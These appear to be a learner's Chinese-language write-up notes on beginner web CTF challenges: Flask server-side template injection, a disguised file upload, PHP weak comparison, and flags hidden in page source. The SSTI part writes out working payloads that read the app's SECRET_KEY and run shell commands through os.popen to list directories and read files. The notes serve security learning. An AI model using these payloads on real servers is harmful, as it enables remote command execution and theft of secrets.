Simple_SSTI_1
SSTI的意思是模板注入 服务端模板注入
flask注入的三种模板
{% … %}
{{ … }}
{# … #}
打开网页查看源代码,提示说要传入一个名为flag的参数,下面的意思是,你只,在flask,经常会设置secret_key,查了一下,这个注入的模板就是{{}}最里面的括号里面些什么就会显示什么,像传入一个flag参数,?flag={{3*3}}就会显示9,那都提示了说在secret_key里面直接把这个东西放里面看看怎么事儿呗?flag={{secret_key}},这个不行,去看看怎么能把这个显示出来,config是Flask模版中一个全局对象,包含了所有应用程序的配置值,用 config.xxx 查看,那就修改flag参数为 ?flag={{config.SECRET_KEY}}
Simple_SSTI_2
在了解了SSTI注入之后,先直接传入一个flag参数,?flag{{config}}查看一下回显
换一个高明一点儿的招
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ..').read() }}
读取文件目录
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app/').read() }}
每个目录都进去瞧一瞧,看到有一个名为flag的文件,cat进去看
/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量
os.popen() 方法用于从一个命令打开一个管道
open() 方法用于打开一个文件,并返回文件对象
flask_fileupload
文件上传只支持jpg和png,而且提示会用python执行并返回,所以上传一个后缀名为jpg内容为python的文件,使用os库,执行命令查看flag,一般flag都在根目录下,如果不在就换其他命令像ll这类去找
查看网页源代码,就能发现flag了
滑稽
是挺滑稽的,我也没想到这玩意查看源代码就直接出来了
计算器
这玩意只能输入个位数字,还是查看网页源代码,碰碰运气
没啥有用的,但是这个maxlength能不能修改啊,检查修改一下试试
本来是想试试修改,没想到看看源代码,直接发现了flag
GET
get获得参数what,what的值等于flag就输出,试试看行得通不
成了,但是为啥跳了两个,但是这俩应该是一样的吧
post
post的话 试试python能不能行
python代码写的过程中发现了这个东西,感觉很像,直接提交不对,解码也不对,可能跟这个没关系吧
从来没觉得python这么好用,其实还有简单的方法,使用火狐的hackbar也能实现post,bp都行
矛盾
根据提示应该是输入1就会弹出flag,输入其他就会原封不动输出传入的值,但是传入1也不对,应该是这个判断出错了,应该是全等不是相等,这个好像是叫什么php黑魔法吧,看看能不能对源码进行修改,或者通过检查源码得到flag,都知道了是php黑魔法,直接传入一个数字加字符的组合进行判读就行了,相等判断是弱类型,全等才是强类型,直接传入/?num=1a,a可以是任意字符
alert
这个网页打开就是一直弹窗,检查没发现太多有价值的东西,想右键查看源代码吧,还不让,只能使用快捷键ctrl+u能直接查看源代码
这最后一行看着也太显眼了,就是ASCII码被html实体化了,直接解码就行了,但是为什么是ASCII和unicode互相解码,我记得unicode好像不是这个特征
你必须让他停下
页面一直都在刷新,只有这张图片是正常显示的,所以当这个图片刷到了的时候,检查源代码,能直接看到flag就在后面